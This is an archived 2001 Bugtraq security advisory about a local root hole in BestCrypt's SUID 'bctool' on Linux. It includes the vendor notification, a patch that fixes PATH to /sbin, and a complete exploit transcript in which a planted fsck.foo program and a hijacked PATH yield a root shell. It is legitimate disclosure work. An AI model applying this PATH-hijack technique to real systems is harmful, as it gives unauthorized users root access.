6581423 2001-06-05 02:23 +0200 /165 rader/ Joel Eriksson <jen@ettnet.se>
Sänt av: joel@lysator.liu.se
Importerad: 2001-06-05 07:33 av Brevbäraren
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Mottagare: Bugtraq (import) <17254>
Ärende: Fatal flaw in BestCrypt <= v0.7 (Linux)
------------------------------------------------------------
From: Joel Eriksson <jen@ettnet.se>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20010605022354.A21788@seth>
Hello fellow Bugtraq'ers.
As you can see in the message below I have discovered a flaw in
the SUID-root "bctool" program that comes with BestCrypt from
Jetico. A session transcript where the flaw is exploited is also
included and so is a patch for the problem.
For those of you that did not know, BestCrypt is a product that
allows users to create encrypted loopback filesystems using
encryption algorithms such as Twofish, Blowfish, Gost or DES.
While the Windows version (yes, compatible with the Linux version)
is commercial and only distributed in binary format, the Linux
version is distributed with source code under the GPL license.
I must give the Jetico programmers credit for obviously being
security aware (my personal judgement after reading the source),
even though they overlooked this particular bug, and for responding
so fast to my message. They have already made a new version available
that fixes the bug (v0.8) and hopefully this one does not have any
more nasty security holes in it.
Still, as a general security advice I would recommend creating a
special group for "bctool" and any other SUID programs that does not
need to be used by every user on the system and removing world
executable permissions. Only the proactive security measures are
worth anything in the long run..
--
Joel Eriksson
Systems developer, Utilator
----- Forwarded message from Joel Eriksson <je@utilator.com> -----
Date: Mon, 4 Jun 2001 00:43:35 +0200
From: Joel Eriksson <je@utilator.com>
To: support@jetico.com
Subject: Security flaw in "bctool" (Linux)
Hello,
I have recently discovered a fatal security flaw in BestCrypt 0.7
(and probably earlier versions too) for Linux that allows local
users to gain root access. Since I am very security aware in
general I looked through the source code when I first started
using your product and was happy to find that your programmers
seems to be aware of common security flaws like buffer overflows
and everything seemed to be secure.
But, today when I had to run "fsck" (filesystem check) on an
encrypted container after my two-year-old son accidently pressed the
power button to my computer it occured to me that when the filesystem
type is specified to "fsck" with "-t <fstype>" it executes
"fsck.<fstype>" to do the actual check. "mkfs" behaves the same
too btw. So, I tested the following:
--8<-----------------------------------------------------------------
[je@seth ~]$ id
uid=502(je) gid=505(je)
[je@seth ~]$ bctool new fscktest -s 1k -a des
Enter password: fscktest
Verify password: fscktest
[je@seth ~]$ cat > fsck.foo.c
#include <unistd.h>
#include <stdio.h>
int main(void)
{
setuid(geteuid());
execl("/bin/bash", "-bash", NULL);
return 1; /* this should not be reached */
}
^D
[je@seth ~]$ gcc -o fsck.foo fsck.foo.c
[je@seth ~]$ export PATH=.:$PATH
[je@seth ~]$ bctool fsck -t foo fscktest
Enter password: fscktest
Parallelizing fsck version 1.19 (13-Jul-2000)
[./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05# exit
[je@seth ~]$ ln -s fsck.foo mkfs.foo
[je@seth ~]$ bctool format fscktest -t foo
Enter password: fscktest
bash-2.05# id
uid=0(root) gid=505(je)
bash-2.05#
--8<-----------------------------------------------------------------
I hope you found the info useful and make a patch available ASAP.
Since I am for full disclosure I will also make this info available
to the security mailinglist Bugtraq, but I can wait until you have
made a patch available if it doesn't take you too long.
The easiest, and perhaps the best, way to get rid of the problem
would be to use a predefined (in compiletime) $PATH when executing
external programs. This change may be done in run_process() in
misc.c (and run_proc() too, but that function is not currently
used anywhere now).
You already strip the environment from all but a few variables, I
would think you don't need any of the ones you left except $PATH
however. Don't rely on the users own $PATH anymore though, "/sbin"
is probably enough..
Last but not least I think you have made a great product and my
impression is that your programmers are security aware even though
they overlooked this particular problem. Keep up the good work!
Here is a patch I made for myself:
--8<-----------------------------------------------------------------
--- bcrypt-0.7-2/src/misc.c Wed Jan 31 11:00:04 2001
+++ bcrypt-0.7-2/src/misc.c Mon Jun 4 00:18:47 2001
@@ -251,8 +251,7 @@
int run_process(char *args[])
{
int pid, i, j;
- char *env[16];
- extern char **environ;
+ char *env[] = { "PATH=/sbin", NULL };
assert(args != NULL);
assert(args[0] != NULL);
@@ -266,25 +265,6 @@
if ( pid == 0 )
{ /* Child */
-
- /* Prune environment to remove any potentially dangerous variables. */
- i = 0;
- for ( j = 0; environ[j] && i < sizeof(env)/sizeof(env[0]) - 1; j++ )
- if ( strncmp(environ[j], "HOME=", 5) == 0 ||
- strncmp(environ[j], "USER=", 5) == 0 ||
- strncmp(environ[j], "PATH=", 5) == 0 ||
- strncmp(environ[j], "LOGNAME=", 8) == 0 ||
- strncmp(environ[j], "TZ=", 3) == 0 ||
- strncmp(environ[j], "MAIL=", 5) == 0 ||
- strncmp(environ[j], "SHELL=", 6) == 0 ||
- strncmp(environ[j], "TERM=", 5) == 0 ||
- strncmp(environ[j], "DISPLAY=", 8) == 0 ||
- strncmp(environ[j], "PRINTER=", 8) == 0 ||
- strncmp(environ[j], "XAUTHORITY=", 11) == 0 ||
- strncmp(environ[j], "TERMCAP=", 8) == 0 )
- env[i++] = environ[j];
- env[i] = NULL;
-
execve(args[0], args, env);
msg(stderr,"execve %s failed: %s\n", args[0], strerror(errno));
}
--8<-----------------------------------------------------------------
--
Joel Eriksson
Systems developer, Utilator
----- End forwarded message -----
(6581423) /Joel Eriksson <jen@ettnet.se>/-----------